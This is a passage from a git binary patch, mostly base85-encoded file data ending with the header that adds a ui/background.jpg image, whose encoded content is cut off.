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 OJ^^c3oA($07y5s_>@_9; literal 0 HcmV?d00001 diff --git a/ui/background.jpg b/ui/background.jpg new file mode 100644 index 0000000000000000000000000000000000000000..46fdc41ca2b60e2a3e22601907ec597be333ad5a GIT binary patch literal 